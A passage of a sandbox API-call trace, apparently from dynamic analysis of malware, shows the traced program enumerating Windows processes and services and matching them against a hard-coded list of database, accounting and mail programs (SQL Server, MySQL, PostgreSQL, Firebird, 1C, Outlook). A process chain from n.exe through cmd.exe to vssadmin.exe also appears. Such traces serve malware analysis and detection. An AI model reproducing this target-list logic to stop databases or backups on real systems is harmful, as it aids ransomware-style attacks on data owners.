[0058.806] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0058.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0058.806] lstrlenW (lpString="WPDBusEnum") returned 10 [0058.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0058.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0058.806] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0058.806] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0058.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0058.806] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4023080 | out: hHeap=0x6c0000) returned 1 [0058.806] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0058.808] Process32FirstW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0058.810] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0058.810] lstrlenW (lpString="System") returned 6 [0058.810] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0058.810] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0058.810] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0058.810] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0058.810] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0058.810] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0058.810] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0058.810] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0058.811] lstrlenW (lpString="smss.exe") returned 8 [0058.811] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0058.811] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0058.811] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0058.811] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0058.811] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0058.811] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0058.811] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0058.811] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0058.812] lstrlenW (lpString="csrss.exe") returned 9 [0058.812] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0058.812] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0058.812] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0058.812] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0058.812] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0058.812] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0058.812] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0058.812] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0058.812] lstrlenW (lpString="wininit.exe") returned 11 [0058.812] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0058.812] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0058.812] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0058.813] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0058.813] lstrlenW (lpString="csrss.exe") returned 9 [0058.813] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0058.814] lstrlenW (lpString="winlogon.exe") returned 12 [0058.814] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0058.814] lstrlenW (lpString="services.exe") returned 12 [0058.814] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0058.815] lstrlenW (lpString="lsass.exe") returned 9 [0058.815] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0058.815] lstrlenW (lpString="lsm.exe") returned 7 [0058.815] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.816] lstrlenW (lpString="svchost.exe") returned 11 [0058.816] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.816] lstrlenW (lpString="svchost.exe") returned 11 [0058.816] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.817] lstrlenW (lpString="svchost.exe") returned 11 [0058.817] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.817] lstrlenW (lpString="svchost.exe") returned 11 [0058.817] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.818] lstrlenW (lpString="svchost.exe") returned 11 [0058.818] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0058.818] lstrlenW (lpString="audiodg.exe") returned 11 [0058.818] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.819] lstrlenW (lpString="svchost.exe") returned 11 [0058.819] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.819] lstrlenW (lpString="svchost.exe") returned 11 [0058.819] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0058.820] lstrlenW (lpString="dwm.exe") returned 7 [0058.820] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0058.820] lstrlenW (lpString="explorer.exe") returned 12 [0058.820] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0058.821] lstrlenW (lpString="spoolsv.exe") returned 11 [0058.821] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0058.821] lstrlenW (lpString="taskhost.exe") returned 12 [0058.821] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.821] lstrlenW (lpString="svchost.exe") returned 11 [0058.822] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0058.822] lstrlenW (lpString="taskeng.exe") returned 11 [0058.822] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0058.822] lstrlenW (lpString="taskhost.exe") returned 12 [0058.822] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0058.823] lstrlenW (lpString="br_maintaining.exe") returned 18 [0058.823] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0058.823] lstrlenW (lpString="kitsenormous.exe") returned 16 [0058.823] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0058.824] lstrlenW (lpString="intermediate-components.exe") returned 27 [0058.824] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0058.824] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0058.824] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0058.825] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0058.825] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0058.825] lstrlenW (lpString="stupid.exe") returned 10 [0058.825] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0058.826] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0058.826] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0058.826] lstrlenW (lpString="addition.exe") returned 12 [0058.826] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0058.827] lstrlenW (lpString="kept retirement.exe") returned 19 [0058.827] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0058.827] lstrlenW (lpString="lmmold.exe") returned 10 [0058.827] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0058.828] lstrlenW (lpString="soma weighted.exe") returned 17 [0058.828] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0058.828] lstrlenW (lpString="cartridge donation.exe") returned 22 [0058.828] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0058.829] lstrlenW (lpString="anti.exe") returned 8 [0058.829] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0058.829] lstrlenW (lpString="cashiersshot.exe") returned 16 [0058.829] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0058.830] lstrlenW (lpString="poundfi.exe") returned 11 [0058.830] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0058.830] lstrlenW (lpString="conditions_hired.exe") returned 20 [0058.830] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0058.831] lstrlenW (lpString="mercedes.exe") returned 12 [0058.831] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0058.831] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0058.831] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0058.832] lstrlenW (lpString="training_wiring.exe") returned 19 [0058.832] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0058.832] lstrlenW (lpString="democratic.exe") returned 14 [0058.832] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0058.833] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0058.833] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0058.833] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0058.833] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0058.952] lstrlenW (lpString="documented.exe") returned 14 [0058.952] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0058.953] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0058.953] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0058.953] lstrlenW (lpString="n.exe") returned 5 [0058.953] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0058.954] lstrlenW (lpString="cmd.exe") returned 7 [0058.954] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.954] lstrlenW (lpString="conhost.exe") returned 11 [0058.954] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0058.955] lstrlenW (lpString="vssadmin.exe") returned 12 [0058.955] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0058.955] lstrlenW (lpString="VSSVC.exe") returned 9 [0058.955] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.956] lstrlenW (lpString="svchost.exe") returned 11 [0058.956] Process32NextW (in: hSnapshot=0x204, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0058.956] CloseHandle (hObject=0x204) returned 1 [0058.956] Sleep (dwMilliseconds=0x1f4) [0060.147] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x740010 [0060.148] EnumServicesStatusExW (in: hSCManager=0x740010, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0060.149] GetLastError () returned 0xea [0060.149] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x12c6) returned 0x4023080 [0060.149] EnumServicesStatusExW (in: hSCManager=0x740010, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4023080, cbBufSize=0x12c6, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4023080, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0060.150] CloseServiceHandle (hSCObject=0x740010) returned 1 [0060.150] lstrlenW (lpString="Appinfo") returned 7 [0060.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0060.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0060.150] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0060.150] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0060.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0060.150] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0060.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.150] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0060.150] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0060.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0060.150] lstrlenW (lpString="AudioSrv") returned 8 [0060.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0060.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0060.150] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0060.150] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0060.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0060.150] lstrlenW (lpString="BFE") returned 3 [0060.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0060.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0060.151] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0060.151] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0060.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0060.151] lstrlenW (lpString="CryptSvc") returned 8 [0060.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0060.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 